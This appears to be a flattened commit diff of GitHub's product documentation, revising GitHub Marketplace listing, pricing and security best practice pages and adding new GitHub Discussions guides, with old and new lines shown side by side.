variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.  Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing.  {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows  You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[‎About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"  For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.  1. In the list of discussions, click the discussion you want to view.  ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**.  1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - 